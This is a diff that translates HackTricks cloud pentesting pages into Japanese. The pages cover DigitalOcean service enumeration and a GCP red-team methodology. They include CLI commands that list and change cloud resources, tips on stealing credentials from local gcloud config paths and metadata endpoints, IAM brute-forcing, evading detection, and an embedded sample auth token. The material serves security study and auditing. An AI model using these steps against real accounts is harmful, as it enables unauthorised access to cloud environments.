認証のために、ユーザー名と**パスワード**(ドロップレット作成時に定義されたパスワード)を通じて**SSHを有効にする**ことが可能です。または、**アップロードされたSSHキーの1つ以上を選択**することもできます。
|
||||
|
||||
### Firewall
|
||||
### ファイアウォール
|
||||
|
||||
> [!CAUTION]
|
||||
> By default **droplets are created WITHOUT A FIREWALL** (not like in oder clouds such as AWS or GCP). So if you want DO to protect the ports of the droplet (VM), you need to **create it and attach it**.
|
||||
> デフォルトでは**ドロップレットはファイアウォールなしで作成されます**(AWSやGCPなどの他のクラウドとは異なります)。したがって、DOがドロップレット(VM)のポートを保護することを望む場合は、**作成して接続する**必要があります。
|
||||
|
||||
More info in:
|
||||
詳細は以下を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
do-networking.md
|
||||
{{#endref}}
|
||||
|
||||
### Enumeration
|
||||
|
||||
### 列挙
|
||||
```bash
|
||||
# VMs
|
||||
doctl compute droplet list # IPs will appear here
|
||||
@@ -68,18 +67,13 @@ doctl compute certificate list
|
||||
# Snapshots
|
||||
doctl compute snapshot list
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> **Droplets have metadata endpoints**, but in DO there **isn't IAM** or things such as role from AWS or service accounts from GCP.
|
||||
> **Dropletsにはメタデータエンドポイントがありますが、DOには** IAM **やAWSのロール、GCPのサービスアカウントのようなものはありません。**
|
||||
|
||||
### RCE
|
||||
|
||||
With access to the console it's possible to **get a shell inside the droplet** accessing the URL: **`https://cloud.digitalocean.com/droplets/<droplet-id>/terminal/ui/`**
|
||||
コンソールにアクセスすると、**URLにアクセスすることでドロップレット内でシェルを取得することが可能です**: **`https://cloud.digitalocean.com/droplets/<droplet-id>/terminal/ui/`**
|
||||
|
||||
It's also possible to launch a **recovery console** to run commands inside the host accessing a recovery console in **`https://cloud.digitalocean.com/droplets/<droplet-id>/console`**(but in this case you will need to know the root password).
|
||||
**`https://cloud.digitalocean.com/droplets/<droplet-id>/console`**にアクセスしてホスト内でコマンドを実行するための**リカバリーコンソール**を起動することも可能です(ただし、この場合はルートパスワードを知っている必要があります)。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,39 +2,34 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本情報
|
||||
|
||||
DigitalOcean Functions, also known as "DO Functions," is a serverless computing platform that lets you **run code without having to worry about the underlying infrastructure**. With DO Functions, you can write and deploy your code as "functions" that can be **triggered** via **API**, **HTTP requests** (if enabled) or **cron**. These functions are executed in a fully managed environment, so you **don't need to worry** about scaling, security, or maintenance.
|
||||
DigitalOcean Functions、または「DO Functions」として知られるこのサービスは、**基盤となるインフラストラクチャを気にせずにコードを実行できる**サーバーレスコンピューティングプラットフォームです。DO Functionsを使用すると、**API**、**HTTPリクエスト**(有効な場合)または**cron**を介して**トリガー**できる「関数」としてコードを書いてデプロイできます。これらの関数は完全に管理された環境で実行されるため、**スケーリング、セキュリティ、またはメンテナンスを気にする必要はありません**。
|
||||
|
||||
In DO, to create a function first you need to **create a namespace** which will be **grouping functions**.\
|
||||
Inside the namespace you can then create a function.
|
||||
DOで関数を作成するには、まず**名前空間を作成**する必要があります。これが**関数をグループ化**します。\
|
||||
その名前空間内で関数を作成できます。
|
||||
|
||||
### Triggers
|
||||
|
||||
The way **to trigger a function via REST API** (always enabled, it's the method the cli uses) is by triggering a request with an **authentication token** like:
|
||||
### トリガー
|
||||
|
||||
**REST APIを介して関数をトリガーする方法**(常に有効で、cliが使用する方法)は、**認証トークン**を使用してリクエストをトリガーすることです。
|
||||
```bash
|
||||
curl -X POST "https://faas-lon1-129376a7.doserverless.co/api/v1/namespaces/fn-c100c012-65bf-4040-1230-2183764b7c23/actions/functionname?blocking=true&result=true" \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Authorization: Basic MGU0NTczZGQtNjNiYS00MjZlLWI2YjctODk0N2MyYTA2NGQ4OkhwVEllQ2t4djNZN2x6YjJiRmFGc1FERXBySVlWa1lEbUxtRE1aRTludXA1UUNlU2VpV0ZGNjNqWnVhYVdrTFg="
|
||||
-H "Content-Type: application/json" \
|
||||
-H "Authorization: Basic MGU0NTczZGQtNjNiYS00MjZlLWI2YjctODk0N2MyYTA2NGQ4OkhwVEllQ2t4djNZN2x6YjJiRmFGc1FERXBySVlWa1lEbUxtRE1aRTludXA1UUNlU2VpV0ZGNjNqWnVhYVdrTFg="
|
||||
```
|
||||
|
||||
To see how is the **`doctl`** cli tool getting this token (so you can replicate it), the **following command shows the complete network trace:**
|
||||
|
||||
この**`doctl`** CLIツールがこのトークンをどのように取得しているかを確認するために(再現できるように)、**次のコマンドは完全なネットワークトレースを表示します:**
|
||||
```bash
|
||||
doctl serverless connect --trace
|
||||
```
|
||||
|
||||
**When HTTP trigger is enabled**, a web function can be invoked through these **HTTP methods GET, POST, PUT, PATCH, DELETE, HEAD and OPTIONS**.
|
||||
**HTTPトリガーが有効な場合**、ウェブ関数はこれらの**HTTPメソッド GET、POST、PUT、PATCH、DELETE、HEAD、OPTIONS**を通じて呼び出すことができます。
|
||||
|
||||
> [!CAUTION]
|
||||
> In DO functions, **environment variables cannot be encrypted** (at the time of this writing).\
|
||||
> I couldn't find any way to read them from the CLI but from the console it's straight forward.
|
||||
> DO関数では、**環境変数は暗号化できません**(この執筆時点で)。\
|
||||
> CLIからそれらを読む方法は見つかりませんでしたが、コンソールからは簡単です。
|
||||
|
||||
**Functions URLs** look like this: `https://<random>.doserverless.co/api/v1/web/<namespace-id>/default/<function-name>`
|
||||
|
||||
### Enumeration
|
||||
**関数のURL**は次のようになります: `https://<random>.doserverless.co/api/v1/web/<namespace-id>/default/<function-name>`
|
||||
|
||||
### 列挙
|
||||
```bash
|
||||
# Namespace
|
||||
doctl serverless namespaces list
|
||||
@@ -53,12 +48,7 @@ doctl serverless activations result <activation-id> # get only the response resu
|
||||
|
||||
# I couldn't find any way to get the env variables form the CLI
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> There **isn't metadata endpoint** from the Functions sandbox.
|
||||
> Functionsサンドボックスには**メタデータエンドポイントがありません**。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,22 +2,16 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本情報
|
||||
|
||||
DigitalOcean Images are **pre-built operating system or application images** that can be used to create new Droplets (virtual machines) on DigitalOcean. They are similar to virtual machine templates, and they allow you to **quickly and easily create new Droplets with the operating system** and applications that you need.
|
||||
DigitalOcean Imagesは、**新しいDroplets(仮想マシン)をDigitalOcean上で作成するために使用できる、事前構築されたオペレーティングシステムまたはアプリケーションのイメージ**です。これらは仮想マシンのテンプレートに似ており、**必要なオペレーティングシステム**とアプリケーションを持つ新しいDropletsを**迅速かつ簡単に作成する**ことを可能にします。
|
||||
|
||||
DigitalOcean provides a wide range of Images, including popular operating systems such as Ubuntu, CentOS, and FreeBSD, as well as pre-configured application Images such as LAMP, MEAN, and LEMP stacks. You can also create your own custom Images, or use Images from the community.
|
||||
DigitalOceanは、Ubuntu、CentOS、FreeBSDなどの人気のあるオペレーティングシステムや、LAMP、MEAN、LEMPスタックなどの事前構成されたアプリケーションイメージを含む、幅広いImagesを提供しています。また、自分自身のカスタムImagesを作成したり、コミュニティからのImagesを使用したりすることもできます。
|
||||
|
||||
When you create a new Droplet on DigitalOcean, you can choose an Image to use as the basis for the Droplet. This will automatically install the operating system and any pre-installed applications on the new Droplet, so you can start using it right away. Images can also be used to create snapshots and backups of your Droplets, so you can easily create new Droplets from the same configuration in the future.
|
||||
|
||||
### Enumeration
|
||||
DigitalOceanで新しいDropletを作成する際には、Dropletの基盤として使用するImagesを選択できます。これにより、新しいDropletにオペレーティングシステムと事前インストールされたアプリケーションが自動的にインストールされるため、すぐに使用を開始できます。Imagesは、Dropletsのスナップショットやバックアップを作成するためにも使用できるため、将来的に同じ構成から新しいDropletsを簡単に作成できます。
|
||||
|
||||
### 列挙
|
||||
```
|
||||
doctl compute image list
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,19 +2,18 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本情報
|
||||
|
||||
### DigitalOcean Kubernetes (DOKS)
|
||||
|
||||
DOKS is a managed Kubernetes service offered by DigitalOcean. The service is designed to **deploy and manage Kubernetes clusters on DigitalOcean's platform**. The key aspects of DOKS include:
|
||||
DOKSは、DigitalOceanが提供するマネージドKubernetesサービスです。このサービスは、**DigitalOceanのプラットフォーム上でKubernetesクラスターをデプロイおよび管理するために設計されています**。DOKSの主な特徴は以下の通りです:
|
||||
|
||||
1. **Ease of Management**: The requirement to set up and maintain the underlying infrastructure is eliminated, simplifying the management of Kubernetes clusters.
|
||||
2. **User-Friendly Interface**: It provides an intuitive interface that facilitates the creation and administration of clusters.
|
||||
3. **Integration with DigitalOcean Services**: It seamlessly integrates with other services provided by DigitalOcean, such as Load Balancers and Block Storage.
|
||||
4. **Automatic Updates and Upgrades**: The service includes the automatic updating and upgrading of clusters to ensure they are up-to-date.
|
||||
|
||||
### Connection
|
||||
1. **管理の容易さ**:基盤となるインフラストラクチャのセットアップと維持の必要がなくなり、Kubernetesクラスターの管理が簡素化されます。
|
||||
2. **ユーザーフレンドリーなインターフェース**:クラスターの作成と管理を容易にする直感的なインターフェースを提供します。
|
||||
3. **DigitalOceanサービスとの統合**:Load BalancersやBlock Storageなど、DigitalOceanが提供する他のサービスとシームレスに統合されます。
|
||||
4. **自動更新とアップグレード**:サービスには、クラスターを最新の状態に保つための自動更新とアップグレードが含まれています。
|
||||
|
||||
### 接続
|
||||
```bash
|
||||
# Generate kubeconfig from doctl
|
||||
doctl kubernetes cluster kubeconfig save <cluster-id>
|
||||
@@ -22,9 +21,7 @@ doctl kubernetes cluster kubeconfig save <cluster-id>
|
||||
# Use a kubeconfig file that you can download from the console
|
||||
kubectl --kubeconfig=/<pathtodirectory>/k8s-1-25-4-do-0-ams3-1670939911166-kubeconfig.yaml get nodes
|
||||
```
|
||||
|
||||
### Enumeration
|
||||
|
||||
### 列挙
|
||||
```bash
|
||||
# Get clusters
|
||||
doctl kubernetes cluster list
|
||||
@@ -35,9 +32,4 @@ doctl kubernetes cluster node-pool list <cluster-id>
|
||||
# Get DO resources used by the cluster
|
||||
doctl kubernetes cluster list-associated-resources <cluster-id>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,49 +1,35 @@
|
||||
# DO - Networking
|
||||
# DO - ネットワーキング
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Domains
|
||||
|
||||
### ドメイン
|
||||
```bash
|
||||
doctl compute domain list
|
||||
doctl compute domain records list <domain>
|
||||
# You can also create records
|
||||
```
|
||||
|
||||
### Reserverd IPs
|
||||
|
||||
### 予約済みIP
|
||||
```bash
|
||||
doctl compute reserved-ip list
|
||||
doctl compute reserved-ip-action unassign <ip>
|
||||
```
|
||||
|
||||
### Load Balancers
|
||||
|
||||
### ロードバランサー
|
||||
```bash
|
||||
doctl compute load-balancer list
|
||||
doctl compute load-balancer remove-droplets <id> --droplet-ids 12,33
|
||||
doctl compute load-balancer add-forwarding-rules <id> --forwarding-rules entry_protocol:tcp,entry_port:3306,...
|
||||
```
|
||||
|
||||
### VPC
|
||||
|
||||
```
|
||||
doctl vpcs list
|
||||
```
|
||||
|
||||
### Firewall
|
||||
|
||||
> [!CAUTION]
|
||||
> By default **droplets are created WITHOUT A FIREWALL** (not like in oder clouds such as AWS or GCP). So if you want DO to protect the ports of the droplet (VM), you need to **create it and attach it**.
|
||||
|
||||
> デフォルトでは**ドロップレットはファイアウォールなしで作成されます**(AWSやGCPなどの他のクラウドとは異なります)。したがって、DOがドロップレット(VM)のポートを保護することを望む場合は、**作成して接続する必要があります**。
|
||||
```bash
|
||||
doctl compute firewall list
|
||||
doctl compute firewall list-by-droplet <droplet-id>
|
||||
doctl compute firewall remove-droplets <fw-id> --droplet-ids <droplet-id>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,26 +2,20 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本情報
|
||||
|
||||
> project is just a container for all the **services** (droplets, spaces, databases, kubernetes...) **running together inside of it**.\
|
||||
> For more info check:
|
||||
> プロジェクトは、すべての**サービス**(ドロップレット、スペース、データベース、クバネティス...)が**内部で一緒に実行される**ためのコンテナです。\
|
||||
> 詳細については、次を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../do-basic-information.md
|
||||
{{#endref}}
|
||||
|
||||
### Enumeration
|
||||
|
||||
It's possible to **enumerate all the projects a user have access to** and all the resources that are running inside a project very easily:
|
||||
### 列挙
|
||||
|
||||
ユーザーがアクセスできるすべてのプロジェクトと、プロジェクト内で実行されているすべてのリソースを**簡単に列挙する**ことが可能です:
|
||||
```bash
|
||||
doctl projects list # Get projects
|
||||
doctl projects resources list <proj-id> # Get all the resources of a project
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,25 +2,24 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本情報
|
||||
|
||||
DigitalOcean Spaces are **object storage services**. They allow users to **store and serve large amounts of data**, such as images and other files, in a scalable and cost-effective way. Spaces can be accessed via the DigitalOcean control panel, or using the DigitalOcean API, and are integrated with other DigitalOcean services such as Droplets (virtual private servers) and Load Balancers.
|
||||
DigitalOcean Spacesは**オブジェクトストレージサービス**です。ユーザーは**大量のデータ**(画像やその他のファイルなど)をスケーラブルでコスト効率の良い方法で**保存および提供**することができます。SpacesはDigitalOceanのコントロールパネルまたはDigitalOcean APIを介してアクセスでき、Droplets(仮想プライベートサーバー)やLoad Balancersなどの他のDigitalOceanサービスと統合されています。
|
||||
|
||||
### Access
|
||||
### アクセス
|
||||
|
||||
Spaces can be **public** (anyone can access them from the Internet) or **private** (only authorised users). To access the files from a private space outside of the Control Panel, we need to generate an **access key** and **secret**. These are a pair of random tokens that serve as a **username** and **password** to grant access to your Space.
|
||||
Spacesは**公開**(誰でもインターネットからアクセス可能)または**非公開**(認可されたユーザーのみ)にすることができます。コントロールパネルの外部からプライベートスペースのファイルにアクセスするには、**アクセスキー**と**シークレット**を生成する必要があります。これらは、あなたのSpaceへのアクセスを許可するための**ユーザー名**と**パスワード**として機能する一対のランダムトークンです。
|
||||
|
||||
A **URL of a space** looks like this: **`https://uniqbucketname.fra1.digitaloceanspaces.com/`**\
|
||||
Note the **region** as **subdomain**.
|
||||
**スペースのURL**は次のようになります: **`https://uniqbucketname.fra1.digitaloceanspaces.com/`**\
|
||||
**サブドメイン**としての**リージョン**に注意してください。
|
||||
|
||||
Even if the **space** is **public**, **files** **inside** of it can be **private** (you will be able to access them only with credentials).
|
||||
**スペース**が**公開**であっても、その中の**ファイル**は**非公開**である可能性があります(資格情報がないとアクセスできません)。
|
||||
|
||||
However, **even** if the file is **private**, from the console it's possible to share a file with a link such as `https://fra1.digitaloceanspaces.com/uniqbucketname/filename?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=DO00PL3RA373GBV4TRF7%2F20221213%2Ffra1%2Fs3%2Faws4_request&X-Amz-Date=20221213T121017Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Signature=6a183dbc42453a8d30d7cd2068b66aeb9ebc066123629d44a8108115def975bc` for a period of time:
|
||||
ただし、**ファイルが非公開**であっても、コンソールからは次のようなリンクを使用してファイルを共有することが可能です: `https://fra1.digitaloceanspaces.com/uniqbucketname/filename?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=DO00PL3RA373GBV4TRF7%2F20221213%2Ffra1%2Fs3%2Faws4_request&X-Amz-Date=20221213T121017Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Signature=6a183dbc42453a8d30d7cd2068b66aeb9ebc066123629d44a8108115def975bc` 一定の期間で:
|
||||
|
||||
<figure><img src="../../../images/image (277).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Enumeration
|
||||
|
||||
### 列挙
|
||||
```bash
|
||||
# Unauthenticated
|
||||
## Note how the region is specified in the endpoint
|
||||
@@ -42,9 +41,4 @@ aws s3 ls --endpoint=https://fra1.digitaloceanspaces.com s3://uniqbucketname
|
||||
|
||||
## It's also possible to generate authorized access to buckets from the API
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,18 +2,12 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本情報
|
||||
|
||||
DigitalOcean volumes are **block storage** devices that can be **attached to and detached from Droplets**. Volumes are useful for **storing data** that needs to **persist** independently of the Droplet itself, such as databases or file storage. They can be resized, attached to multiple Droplets, and snapshot for backups.
|
||||
|
||||
### Enumeration
|
||||
DigitalOceanのボリュームは、**ブロックストレージ**デバイスであり、**Dropletsに接続および切断**できます。ボリュームは、データベースやファイルストレージなど、Droplet自体とは独立して**永続化**する必要がある**データの保存**に便利です。サイズ変更が可能で、複数のDropletsに接続でき、バックアップ用にスナップショットを作成できます。
|
||||
|
||||
### 列挙
|
||||
```
|
||||
compute volume list
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,60 +2,60 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本情報
|
||||
|
||||
**Before start pentesting** a **GCP** environment, there are a few **basics things you need to know** about how it works to help you understand what you need to do, how to find misconfigurations and how to exploit them.
|
||||
**GCP** 環境の **ペンテスト** を開始する前に、どのように機能するかについて知っておくべき **基本的なこと** がいくつかあります。これにより、何をすべきか、誤設定を見つける方法、そしてそれをどのように悪用するかを理解するのに役立ちます。
|
||||
|
||||
Concepts such as **organization** hierarchy, **permissions** and other basic concepts are explained in:
|
||||
**組織** 階層、**権限**、およびその他の基本的な概念については、以下で説明されています:
|
||||
|
||||
{{#ref}}
|
||||
gcp-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
## Labs to learn
|
||||
## 学習用ラボ
|
||||
|
||||
- [https://gcpgoat.joshuajebaraj.com/](https://gcpgoat.joshuajebaraj.com/)
|
||||
- [https://github.com/ine-labs/GCPGoat](https://github.com/ine-labs/GCPGoat)
|
||||
- [https://github.com/lacioffi/GCP-pentest-lab/](https://github.com/lacioffi/GCP-pentest-lab/)
|
||||
- [https://github.com/carlospolop/gcp_privesc_scripts](https://github.com/carlospolop/gcp_privesc_scripts)
|
||||
|
||||
## GCP Pentester/Red Team Methodology
|
||||
## GCP ペンテスター/レッドチームの方法論
|
||||
|
||||
In order to audit a GCP environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal GCP services an **external services** connected.
|
||||
GCP 環境を監査するためには、どの **サービスが使用されているか**、何が **公開されているか**、誰が **何にアクセスできるか**、および内部 GCP サービスと **外部サービス** がどのように接続されているかを知ることが非常に重要です。
|
||||
|
||||
From a Red Team point of view, the **first step to compromise a GCP environment** is to manage to obtain some **credentials**. Here you have some ideas on how to do that:
|
||||
レッドチームの観点から、GCP 環境を侵害するための **最初のステップ** は、いくつかの **資格情報** を取得することです。以下はその方法に関するいくつかのアイデアです:
|
||||
|
||||
- **Leaks** in github (or similar) - OSINT
|
||||
- **Social** Engineering (Check the page [**Workspace Security**](../workspace-security/))
|
||||
- **Password** reuse (password leaks)
|
||||
- Vulnerabilities in GCP-Hosted Applications
|
||||
- [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint
|
||||
- **Local File Read**
|
||||
- `/home/USERNAME/.config/gcloud/*`
|
||||
- `C:\Users\USERNAME\.config\gcloud\*`
|
||||
- 3rd parties **breached**
|
||||
- **Internal** Employee
|
||||
- github(または類似のもの)での **漏洩** - OSINT
|
||||
- **ソーシャル** エンジニアリング(ページ [**Workspace Security**](../workspace-security/) を確認)
|
||||
- **パスワード** 再利用(パスワード漏洩)
|
||||
- GCP ホストアプリケーションの脆弱性
|
||||
- [**サーバーサイドリクエストフォージェリ**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) メタデータエンドポイントへのアクセス
|
||||
- **ローカルファイル読み取り**
|
||||
- `/home/USERNAME/.config/gcloud/*`
|
||||
- `C:\Users\USERNAME\.config\gcloud\*`
|
||||
- 第三者の **侵害**
|
||||
- **内部** 従業員
|
||||
|
||||
Or by **compromising an unauthenticated service** exposed:
|
||||
または、**認証されていないサービス** を侵害することによって:
|
||||
|
||||
{{#ref}}
|
||||
gcp-unauthenticated-enum-and-access/
|
||||
{{#endref}}
|
||||
|
||||
Or if you are doing a **review** you could just **ask for credentials** with these roles:
|
||||
または、**レビュー** を行っている場合は、これらの役割で **資格情報を要求** することができます:
|
||||
|
||||
{{#ref}}
|
||||
gcp-permissions-for-a-pentest.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration:
|
||||
> 資格情報を取得した後は、それらの資格情報が **誰に属しているか**、および **何にアクセスできるか** を知る必要があります。そのため、いくつかの基本的な列挙を実行する必要があります:
|
||||
|
||||
## Basic Enumeration
|
||||
## 基本的な列挙
|
||||
|
||||
### **SSRF**
|
||||
|
||||
For more information about how to **enumerate GCP metadata** check the following hacktricks page:
|
||||
GCP メタデータを **列挙** する方法についての詳細は、以下の hacktricks ページを確認してください:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#6440
|
||||
@@ -63,8 +63,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
|
||||
|
||||
### Whoami
|
||||
|
||||
In GCP you can try several options to try to guess who you are:
|
||||
|
||||
GCP では、自分が誰であるかを推測するためにいくつかのオプションを試すことができます:
|
||||
```bash
|
||||
#If you are inside a compromise machine
|
||||
gcloud auth list
|
||||
@@ -74,60 +73,55 @@ gcloud auth print-identity-token #Get info from the token
|
||||
#If you compromised a metadata token or somehow found an OAuth token
|
||||
curl -H "Content-Type: application/x-www-form-urlencoded" -d "access_token=<token>" https://www.googleapis.com/oauth2/v1/tokeninfo
|
||||
```
|
||||
|
||||
You can also use the API endpoint `/userinfo` to get more info about the user:
|
||||
|
||||
ユーザーに関する詳細情報を取得するには、APIエンドポイント `/userinfo` を使用することもできます:
|
||||
```bash
|
||||
curl -H "Content-Type: application/x-www-form-urlencoded" -H "Authorization: OAuth $(gcloud auth print-access-token)" https://www.googleapis.com/oauth2/v1/userinfo
|
||||
|
||||
curl -H "Content-Type: application/x-www-form-urlencoded" -H "Authorization: OAuth <access_token>" https://www.googleapis.com/oauth2/v1/userinfo
|
||||
```
|
||||
|
||||
### Org Enumeration
|
||||
|
||||
### 組織の列挙
|
||||
```bash
|
||||
# Get organizations
|
||||
gcloud organizations list #The DIRECTORY_CUSTOMER_ID is the Workspace ID
|
||||
gcloud resource-manager folders list --organization <org_number> # Get folders
|
||||
gcloud projects list # Get projects
|
||||
```
|
||||
### プリンシパルとIAM列挙
|
||||
|
||||
### Principals & IAM Enumeration
|
||||
十分な権限がある場合、**GCPアカウント内の各エンティティの権限を確認すること**は、あなたや他のアイデンティティが何をできるか、また**権限を昇格させる方法**を理解するのに役立ちます。
|
||||
|
||||
If you have enough permissions, **checking the privileges of each entity inside the GCP account** will help you understand what you and other identities can do and how to **escalate privileges**.
|
||||
|
||||
If you don't have enough permissions to enumerate IAM, you can **steal brute-force them** to figure them out.\
|
||||
Check **how to do the numeration and brute-forcing** in:
|
||||
IAMを列挙するための十分な権限がない場合は、**ブルートフォースで盗む**ことでそれを把握できます。\
|
||||
**列挙とブルートフォースの方法**については、以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\
|
||||
> In the following section you can check some ways to **enumerate some common services.**
|
||||
> 現在、**あなたの資格情報に関する情報を持っている**(そして、もしあなたがレッドチームであれば、希望的には**検出されていない**)ので、環境で使用されているサービスを特定する時が来ました。\
|
||||
> 次のセクションでは、**一般的なサービスを列挙する方法**をいくつか確認できます。
|
||||
|
||||
## Services Enumeration
|
||||
## サービス列挙
|
||||
|
||||
GCP has an astonishing amount of services, in the following page you will find **basic information, enumeration** cheatsheets, how to **avoid detection**, obtain **persistence**, and other **post-exploitation** tricks about some of them:
|
||||
GCPには驚くべき数のサービスがあります。以下のページでは、**基本情報、列挙**のチートシート、**検出を回避する方法**、**持続性**を得る方法、その他の**ポストエクスプロイト**のトリックについての情報を見つけることができます:
|
||||
|
||||
{{#ref}}
|
||||
gcp-services/
|
||||
{{#endref}}
|
||||
|
||||
Note that you **don't** need to perform all the work **manually**, below in this post you can find a **section about** [**automatic tools**](./#automatic-tools).
|
||||
すべての作業を**手動で**行う必要はないことに注意してください。この投稿の下部には、[**自動ツール**](./#automatic-tools)に関する**セクション**があります。
|
||||
|
||||
Moreover, in this stage you might discovered **more services exposed to unauthenticated users,** you might be able to exploit them:
|
||||
さらに、この段階で**認証されていないユーザーに公開されているサービスを**発見するかもしれません。それらを悪用できるかもしれません:
|
||||
|
||||
{{#ref}}
|
||||
gcp-unauthenticated-enum-and-access/
|
||||
{{#endref}}
|
||||
|
||||
## Privilege Escalation, Post Exploitation & Persistence
|
||||
## 権限昇格、ポストエクスプロイト&持続性
|
||||
|
||||
The most common way once you have obtained some cloud credentials or have compromised some service running inside a cloud is to **abuse misconfigured privileges** the compromised account may have. So, the first thing you should do is to enumerate your privileges.
|
||||
クラウドの資格情報を取得したり、クラウド内で実行されているサービスを侵害した後の最も一般的な方法は、**侵害されたアカウントが持つ誤設定された権限を悪用すること**です。したがって、最初に行うべきことは、自分の権限を列挙することです。
|
||||
|
||||
Moreover, during this enumeration, remember that **permissions can be set at the highest level of "Organization"** as well.
|
||||
さらに、この列挙中に、**権限は「組織」の最高レベルで設定できる**ことを忘れないでください。
|
||||
|
||||
{{#ref}}
|
||||
gcp-privilege-escalation/
|
||||
@@ -141,32 +135,31 @@ gcp-post-exploitation/
|
||||
gcp-persistence/
|
||||
{{#endref}}
|
||||
|
||||
### Publicly Exposed Services
|
||||
### 公開されたサービス
|
||||
|
||||
While enumerating GCP services you might have found some of them **exposing elements to the Internet** (VM/Containers ports, databases or queue services, snapshots or buckets...).\
|
||||
As pentester/red teamer you should always check if you can find **sensitive information / vulnerabilities** on them as they might provide you **further access into the AWS account**.
|
||||
GCPサービスを列挙していると、いくつかのサービスが**インターネットに要素を公開している**ことに気付くかもしれません(VM/コンテナのポート、データベースやキューサービス、スナップショットやバケットなど)。\
|
||||
ペンテスター/レッドチームのメンバーとして、常にそれらに**機密情報/脆弱性**がないか確認すべきです。これにより、**AWSアカウントへのさらなるアクセス**を得られるかもしれません。
|
||||
|
||||
In this book you should find **information** about how to find **exposed GCP services and how to check them**. About how to find **vulnerabilities in exposed network services** I would recommend you to **search** for the specific **service** in:
|
||||
この本では、**公開されたGCPサービスを見つける方法とそれを確認する方法**に関する**情報**を見つけることができるはずです。**公開されたネットワークサービスの脆弱性を見つける方法**については、特定の**サービス**を以下で**検索**することをお勧めします:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/
|
||||
{{#endref}}
|
||||
|
||||
## GCP <--> Workspace Pivoting
|
||||
## GCP <--> Workspace ピボッティング
|
||||
|
||||
**Compromising** principals in **one** platform might allow an attacker to **compromise the other one**, check it in:
|
||||
**一つの**プラットフォームでプリンシパルを**侵害すること**は、攻撃者が**他のプラットフォームを侵害する**ことを可能にするかもしれません。以下を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
gcp-to-workspace-pivoting/
|
||||
{{#endref}}
|
||||
|
||||
## Automatic Tools
|
||||
|
||||
- In the **GCloud console**, in [https://console.cloud.google.com/iam-admin/asset-inventory/dashboard](https://console.cloud.google.com/iam-admin/asset-inventory/dashboard) you can see resources and IAMs being used by project.
|
||||
- Here you can see the assets supported by this API: [https://cloud.google.com/asset-inventory/docs/supported-asset-types](https://cloud.google.com/asset-inventory/docs/supported-asset-types)
|
||||
- Check **tools** that can be [**used in several clouds here**](../pentesting-cloud-methodology.md).
|
||||
- [**gcp_scanner**](https://github.com/google/gcp_scanner): This is a GCP resource scanner that can help determine what **level of access certain credentials posses** on GCP.
|
||||
## 自動ツール
|
||||
|
||||
- **GCloudコンソール**では、[https://console.cloud.google.com/iam-admin/asset-inventory/dashboard](https://console.cloud.google.com/iam-admin/asset-inventory/dashboard)でプロジェクトによって使用されているリソースとIAMを確認できます。
|
||||
